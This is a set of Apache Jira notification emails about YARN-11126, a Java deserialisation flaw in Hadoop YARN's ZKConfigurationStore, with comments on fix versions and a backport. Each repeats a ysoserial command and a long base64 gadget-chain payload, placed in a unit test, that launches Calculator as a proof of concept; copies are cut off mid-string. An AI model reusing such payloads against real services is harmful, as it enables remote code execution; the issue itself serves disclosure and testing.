Rpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAgAMAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMADIAMwoAKwA0AQANU3RhY2tNYXBUYWJsZQEAHXlzb3NlcmlhbC9Qd25lcjcwMDkwMzg1OTI5MzM5AQAfTHlzb3NlcmlhbC9Qd25lcjcwMDkwMzg1OTI5MzM5OwAhAAIAAwABAAQAAQAaAAUABgABAAcCAAgABAABAAoACwABAAwvAAEAAQUqtwABsQIADQYAAQAAAC8ADgwAAQUADwA4AQATABQAAgAMPwMBsQIADQYAAQAAADQADgAAACAAAwEADwA4AAABABUAFgABAQAXABgAAgAZBAABABoAAQATABsAAgAMSQQBsQIADQYAAQAAADgADgAAACoABAEADwA4AAABABUAFgABAQAcAB0AAgEAHgAfAAMAGQQAAQAaAAgAKQALAAEADCQAAwACD6cAAwFMuAAvEjG2ADVXsQEANgMAAQMAAgAgAgAhABEKAAEAAgAjABAACXVxAH4AEdTK/rq+MgAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJz
[jira] [Updated] (YARN-11126) ZKConfigurationStore Java deserialisation vulnerability
[
https://issues.apache.org/jira/browse/YARN-11126?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Masatake Iwasaki updated YARN-11126:
Fix Version/s: (was: 2.10.3)
> ZKConfigurationStore Java deserialisation vulnerability
> ---
>
> Key: YARN-11126
> URL: https://issues.apache.org/jira/browse/YARN-11126
> Project: Hadoop YARN
> Issue Type: Bug
> Components: yarn
>Affects Versions: 3.3.2
>Reporter: Tamas Domok
>Assignee: Tamas Domok
>Priority: Major
> Labels: pull-request-available
> Fix For: 3.4.0, 3.2.4, 3.3.4
>
> Attachments: TestZKConfigurationStoreCVE.java
>
> Time Spent: 2h 50m
> Remaining Estimate: 0h
>
> ZKConfigurationStore uses ObjectInputStream to deserialise objects from
> ZooKeeper. An attacker who *has access to ZK* can exploit this, e.g.: using
> [gadget chain deserialisation
> attacks|https://snyk.io/blog/serialization-and-deserialization-in-java/] the
> attacker can run arbitrary commands, even create reverse shells.
> A useful
> [CheatSheet|https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md]
> for Java Deserialisation.
> I managed to start the Calculator app on my Mac using the following payload:
> {code}
> //java -jar ./target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1
> 'open /System/Applications/Calculator.app' | base64
> @Test
> public void testDeserializationCommonsBeanutils1() throws Exception {
>
> deserializeObject(Base64.getDecoder().decode("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAD/dXIAA1tbQkv9GRVnZ9s3AgAAeHACdXIAAltCrPMX+AYIVOACAAB4cAAABrzK/rq+MgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAgAMAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMADIAMwoAKwA0AQANU3RhY2tNYXBUYWJsZQEAHXlzb3NlcmlhbC9Qd25lcjcwMDkwMzg1OTI5MzM5AQAfTHlzb3NlcmlhbC9Qd25lcjcwMDkwMzg1OTI5MzM5OwAhAAIAAwABAAQAAQAaAAUABgABAAcCAAgABAABAAoACwABAAwvAAEAAQUqtwABsQIADQYAAQAAAC8ADgwAAQUADwA4AQATABQAAgAMPwMBsQIADQYAAQAAADQADgAAACAAAwEADwA4AAABABUAFgABAQAXABgAAgAZBAABABoAAQATABsAAgAMSQQBsQIADQYAAQAAADgADgAAACoABAEADwA4AAABABUAFgABAQAcAB0AAgEAHgAfAAMAGQQAAQAaAAgAKQALAAEADCQAAwACD6cAAwFMuAAvEjG2ADVXsQEANgMAAQMAAgAgAgAhABEKAAEAAgAjABAACXVxAH4AEdTK/rq+MgAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwE
[jira] [Commented] (YARN-11126) ZKConfigurationStore Java deserialisation vulnerability
[
https://issues.apache.org/jira/browse/YARN-11126?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17541261#comment-17541261
]
Masatake Iwasaki commented on YARN-11126:
-
Oops. Base64 is not available in Java 7. I reverted this once.
> ZKConfigurationStore Java deserialisation vulnerability
> ---
>
> Key: YARN-11126
> URL: https://issues.apache.org/jira/browse/YARN-11126
> Project: Hadoop YARN
> Issue Type: Bug
> Components: yarn
>Affects Versions: 3.3.2
>Reporter: Tamas Domok
>Assignee: Tamas Domok
>Priority: Major
> Labels: pull-request-available
> Fix For: 3.4.0, 3.2.4, 3.3.4
>
> Attachments: TestZKConfigurationStoreCVE.java
>
> Time Spent: 2h 50m
> Remaining Estimate: 0h
>
> ZKConfigurationStore uses ObjectInputStream to deserialise objects from
> ZooKeeper. An attacker who *has access to ZK* can exploit this, e.g.: using
> [gadget chain deserialisation
> attacks|https://snyk.io/blog/serialization-and-deserialization-in-java/] the
> attacker can run arbitrary commands, even create reverse shells.
> A useful
> [CheatSheet|https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md]
> for Java Deserialisation.
> I managed to start the Calculator app on my Mac using the following payload:
> {code}
> //java -jar ./target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1
> 'open /System/Applications/Calculator.app' | base64
> @Test
> public void testDeserializationCommonsBeanutils1() throws Exception {
>
> deserializeObject(Base64.getDecoder().decode("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAD/dXIAA1tbQkv9GRVnZ9s3AgAAeHACdXIAAltCrPMX+AYIVOACAAB4cAAABrzK/rq+MgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAgAMAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMADIAMwoAKwA0AQANU3RhY2tNYXBUYWJsZQEAHXlzb3NlcmlhbC9Qd25lcjcwMDkwMzg1OTI5MzM5AQAfTHlzb3NlcmlhbC9Qd25lcjcwMDkwMzg1OTI5MzM5OwAhAAIAAwABAAQAAQAaAAUABgABAAcCAAgABAABAAoACwABAAwvAAEAAQUqtwABsQIADQYAAQAAAC8ADgwAAQUADwA4AQATABQAAgAMPwMBsQIADQYAAQAAADQADgAAACAAAwEADwA4AAABABUAFgABAQAXABgAAgAZBAABABoAAQATABsAAgAMSQQBsQIADQYAAQAAADgADgAAACoABAEADwA4AAABABUAFgABAQAcAB0AAgEAHgAfAAMAGQQAAQAaAAgAKQALAAEADCQAAwACD6cAAwFMuAAvEjG2ADVXsQEANgMAAQMAAgAgAgAhABEKAAEAAgAjABAACXVxAH4AEdTK/rq+MgAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAM
[jira] [Commented] (YARN-11126) ZKConfigurationStore Java deserialisation vulnerability
[
https://issues.apache.org/jira/browse/YARN-11126?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17541257#comment-17541257
]
Masatake Iwasaki commented on YARN-11126:
-
cherry-picked this (and HADOOP-15261 as dependency) to branch-2.10.
> ZKConfigurationStore Java deserialisation vulnerability
> ---
>
> Key: YARN-11126
> URL: https://issues.apache.org/jira/browse/YARN-11126
> Project: Hadoop YARN
> Issue Type: Bug
> Components: yarn
>Affects Versions: 3.3.2
>Reporter: Tamas Domok
>Assignee: Tamas Domok
>Priority: Major
> Labels: pull-request-available
> Fix For: 3.4.0, 3.2.4, 3.3.4, 2.10.3
>
> Attachments: TestZKConfigurationStoreCVE.java
>
> Time Spent: 2h 50m
> Remaining Estimate: 0h
>
> ZKConfigurationStore uses ObjectInputStream to deserialise objects from
> ZooKeeper. An attacker who *has access to ZK* can exploit this, e.g.: using
> [gadget chain deserialisation
> attacks|https://snyk.io/blog/serialization-and-deserialization-in-java/] the
> attacker can run arbitrary commands, even create reverse shells.
> A useful
> [CheatSheet|https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md]
> for Java Deserialisation.
> I managed to start the Calculator app on my Mac using the following payload:
> {code}
> //java -jar ./target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1
> 'open /System/Applications/Calculator.app' | base64
> @Test
> public void testDeserializationCommonsBeanutils1() throws Exception {
>
> deserializeObject(Base64.getDecoder().decode("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAD/dXIAA1tbQkv9GRVnZ9s3AgAAeHACdXIAAltCrPMX+AYIVOACAAB4cAAABrzK/rq+MgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAgAMAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMADIAMwoAKwA0AQANU3RhY2tNYXBUYWJsZQEAHXlzb3NlcmlhbC9Qd25lcjcwMDkwMzg1OTI5MzM5AQAfTHlzb3NlcmlhbC9Qd25lcjcwMDkwMzg1OTI5MzM5OwAhAAIAAwABAAQAAQAaAAUABgABAAcCAAgABAABAAoACwABAAwvAAEAAQUqtwABsQIADQYAAQAAAC8ADgwAAQUADwA4AQATABQAAgAMPwMBsQIADQYAAQAAADQADgAAACAAAwEADwA4AAABABUAFgABAQAXABgAAgAZBAABABoAAQATABsAAgAMSQQBsQIADQYAAQAAADgADgAAACoABAEADwA4AAABABUAFgABAQAcAB0AAgEAHgAfAAMAGQQAAQAaAAgAKQALAAEADCQAAwACD6cAAwFMuAAvEjG2ADVXsQEANgMAAQMAAgAgAgAhABEKAAEAAgAjABAACXVxAH4AEdTK/rq+MgAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAA
[jira] [Updated] (YARN-11126) ZKConfigurationStore Java deserialisation vulnerability
[
https://issues.apache.org/jira/browse/YARN-11126?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Masatake Iwasaki updated YARN-11126:
Fix Version/s: 2.10.3
> ZKConfigurationStore Java deserialisation vulnerability
> ---
>
> Key: YARN-11126
> URL: https://issues.apache.org/jira/browse/YARN-11126
> Project: Hadoop YARN
> Issue Type: Bug
> Components: yarn
>Affects Versions: 3.3.2
>Reporter: Tamas Domok
>Assignee: Tamas Domok
>Priority: Major
> Labels: pull-request-available
> Fix For: 3.4.0, 3.2.4, 3.3.4, 2.10.3
>
> Attachments: TestZKConfigurationStoreCVE.java
>
> Time Spent: 2h 50m
> Remaining Estimate: 0h
>
> ZKConfigurationStore uses ObjectInputStream to deserialise objects from
> ZooKeeper. An attacker who *has access to ZK* can exploit this, e.g.: using
> [gadget chain deserialisation
> attacks|https://snyk.io/blog/serialization-and-deserialization-in-java/] the
> attacker can run arbitrary commands, even create reverse shells.
> A useful
> [CheatSheet|https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md]
> for Java Deserialisation.
> I managed to start the Calculator app on my Mac using the following payload:
> {code}
> //java -jar ./target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1
> 'open /System/Applications/Calculator.app' | base64
> @Test
> public void testDeserializationCommonsBeanutils1() throws Exception {
>
> deserializeObject(Base64.getDecoder().decode("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAD/dXIAA1tbQkv9GRVnZ9s3AgAAeHACdXIAAltCrPMX+AYIVOACAAB4cAAABrzK/rq+MgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0A